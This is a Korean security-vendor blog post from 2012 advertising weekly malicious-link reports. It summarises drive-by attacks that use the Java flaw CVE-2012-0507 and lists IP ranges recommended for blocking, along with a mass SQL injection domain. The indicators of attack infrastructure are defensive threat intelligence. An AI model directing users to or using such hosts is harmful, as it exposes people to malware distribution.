    현재 공격자들도 전략적인 움직임을 보이고 있어서 공개적으로 IP 대역을 알리는 부분은 보고서 구독 고객에게만 한정하여 제공될 예정입니다. 또한 어떤 방식으로든 빛스캔의 악성링크 탐지와 분석 내용에 대해서 인지를 일부 하고 있는 것으로 판단 됩니다. 또한 금주의 총평으로는 제로데이의 적극적인 활용입니다. 기존의 규모를 확장 하는 형태에서 제로데이 활용을 증가 시키는 형태로 전환 된 것이 가장 큰 특징이며, 제로데이 공격이 증가한 가장 큰 이유는 공격에 대한 효과가 충분히 검증 되었다는 반증이라 할 것입니다.


    *시범 서비스는 순차적으로 1개월 경과시 종료 됩니다. 4회 이상을 보고서를 받으셨다면 그 이전에 정식 구독서비스를 신청하셔야 보고서가 누락되지 않습니다. KAIST CSRC 주간보안동향 보고서는 1p 짜리의 요약형태로 작성이 되며 무료 배포가 가능합니다. 해당 서비스의 신청은csyong95@kaist.ac.kr 로 신청 하시면 됩니다.


    * 정식 구독 서비스 가입 및 시범 서비스 신청은 info@bitscan.co.kr 이며 기관명/ 담당자/ 연락처 기재가 필요하며 시범은 기관/기업별 1회에 한정 합니다. 본 서비스의 권리는 빛스캔에 있으므로 공개적 활용 및 영리적 목적으로 활용 하실 수 없습니다.


    * 본 분석은 악성링크 자체의 수집은 빛스캔의 PCDS (Pre crime detect system)를 통해 수집하며, 악성링크 및 악성코드 분석은 KAIST 사이버보안연구센터, 정보보호대학원과 공동으로 진행합니다.

    Posted by 바다란

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    5.1일 Mayday . 

    보안분석 보고서 발송 되었습니다. 

    서비스 구독 기업 및 기관들께서는 확인이 필요한 내용들이 많이 있습니다. 


    이런 정보들 어디에서 보실 수 있으시겠습니까?

    기술분석 보고서에는 악성링크로 활용된 국내 유명 도메인 및 국내 도메인들도 원칙에 따라 공개 되어 있습니다. 저희의 원칙은 악성링크는 공개한다 입니다. 온라인상 공개는 어렵고 오프라인상의 보고서에서만 가능합니다. 보고서상에는 공개되어 있습니다.


    한 주간의 국내 인터넷상의 위험에 대한 실체적 진실과 대응 방향등이 기술 되어 있습니다. 문제는 날이 갈수록 강도가 강해지고 있고 위험성이 더 높아지고 있다는 점입니다.


    현실은 참혹합니다.  수면위는 평안해도 수면 아래는 폭풍이 치는 형국입니다.

    준비 되지 않고 대응하지 않는다면 앞으로는 더 힘든 상황으로 계속 갈 수 밖에 없음을 보고서를 통해서 직접 느낄 수 있습니다.





    4월 5주차 보고서 전체에 대한 간략한 요약은 다음과 같습니다.

    -------------------------------------------------------------

    본 서비스는 빛스캔의 비트파인더를 통한 악성링크 탐지와 KAIST 사이버보안연구센터의 분석을 통해 산출된 보고서 입니다. 국내에서 발생되는 악성링크와 악성 코드에 대한 구조와 기능에 대한 분석을 가장 빨리 진행 하고 있으며 악성링크에 대한 정보는 가감없이 오픈을 하고 있습니다. 전문 기술인력과 역량의 결합을 통해 국내에서 자체적으로 생산되고 있는 보고서이며 상당히 많은 리소스와 기술이 투입 되고 있음을 유념해 주십시요.



    악성링크에 대한 카운트는 동일한 악성링크가 수십곳 이상의 서비스에 들어가 있어도 저희쪽에서는 1로 카운트 됩니다. 즉 60여개 이상의 악성링크를 발견 했다는 것은 수십~수백곳 이상의 서비스들에서 동시에 유포를 하고 있다는 의미와 동일합니다. 그만큼 파급력이 크고 위험도가 높으므로 적극적인 대응이 필요한 부분이 되겠습니다.



    금주의 특징으로는 새로운 공격기법의 적극적 활용 ( CVE 2012-0507) 이 출현과 동시에 대규모 활용이 되고 있습니다. 또한 해외 호스팅을 통한 활발한 공격 ( IP 변경을 통해 차단 우회 및 정체를 은닉)이 계속 되고 있습니다.


    유명 도메인 자체 및 파일공유 사이트, 대학의 전산원 페이지 까지도 악성파일이 직접 올려져 유포에 활용 하는 형태의 과감함도 나타나고 있어서 향후 어떤 방향으로 위협이 나타날 것인지 심각한 우려를 표합니다. 지금껏 악성코드 유포를 위한 변조들이 있던 서비스들이 직접적으로 악성코드를 서비스 하는 형태로 변경 된 것에 대해 심각성이 높습니다.



    4월 5주차 공격 특징: 


    - CVE 2012-0507 ( Java Applet 신규 취약성) 공격 출현 및 급증 

    - 해외 호스팅 영역을 통한 IP 변경된 공격 지속 관찰

    - 국내 유명 도메인 및 파일 공유 사이트 자체를 악성링크로 활용

    - 언론사 기사 항목으로 위장한 악성링크 유포시도 다수 발견 ( 정상 언론사 기사)

    - 이전 출현 하였던 악성링크의 재활용 다수 증가 ( 차단이 되지 않으니 계속 활용 되고 있습니다.)

    - 배너, 태그 광고 링크에 대한 공격 지속 증가 ( 태그 광고 1곳, 배너 광고 2곳 이상)

    - Mass sql injection 최초 유형 발견 ( njukol.com/r.php )


    대응:

     
    - CVE 2012-0507 공격기법에 대한 전문분석 완료, 필요시 신청해 주세요.
    - 해외 호스팅 영역 . 4월 3주,4주차 차단 권고 영역 유지 및 추가 차단 필요
      본 영역들은 공격자가 통제하는 영역이므로 향후 지속적으로 피해가 발생 될 수 있습니다.
    1. 211.100.253.0/24 (China)
    2. 205.164.0.0/24 (USA)
    3. 69.4.224.0/24 (USA)
    4. 209.73.156.0/24 (USA)
    5. 174.127.79.0/24 (USA)
    - 유명 서비스가 직접 악성링크에 활용된 케이스는 다음과 같습니다. 

    온라인 상에서는 생략합니다. 상세한 정보는 첨부 기술보고서들을 참고 하십시요.


    .....후략



    상세한 내용들은 보고서를 참고 하십시요. 보고서의 시범서비스 신청은 기업 및 기관명 / 성명/ 연락처 를 적어서 info@bitscan.co.kr 로 신청 하시면 됩니다. 개인 차원에서는 받으실 수 없습니다. 

    Posted by 바다란

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    1. 광풍 2012.05.02 03:39  댓글주소  수정/삭제  댓글쓰기

      따끈따끈한 정보 정말 감사합니다.

      제 개인 구글+에 포스팅해도 될까요? (당연히 출처는 http://p4ssion.tistory.com/285 입니다.)
      문제가 된다면 바로 삭제하겠습니다.

      다시 한번 정보 제공 감사합니다.

    2. 변희철 2012.05.06 15:31  댓글주소  수정/삭제  댓글쓰기

      CVE 2012-0507기법 전문분석자료 혹시 보내주실수있으신가요? 이메일은 bgtvfredc@gmail.com 입니다.

      • 바다란 2012.05.06 16:43 신고  댓글주소  수정/삭제

        전문분석은 정보제공 서비스 가입된 기업/기관에게만 발송 됩니다. 각 기업 및 기관의 책임하에 관리 하는 것이구, 개인차원에는 발송이 어렵습니다. 공격기술이 그대로 언급 되어 있고 현재도 사용이 되는 기법이라 공개는 난처하며, 또한 개인에게도 발송 하지는 않습니다. 감사합니다. 글의 목적대로 0507 공격이 대폭 증가하고 있으므로 해당 기법에 대한 java update를 즉시 해야 한다는 정도로 참고 하십시요.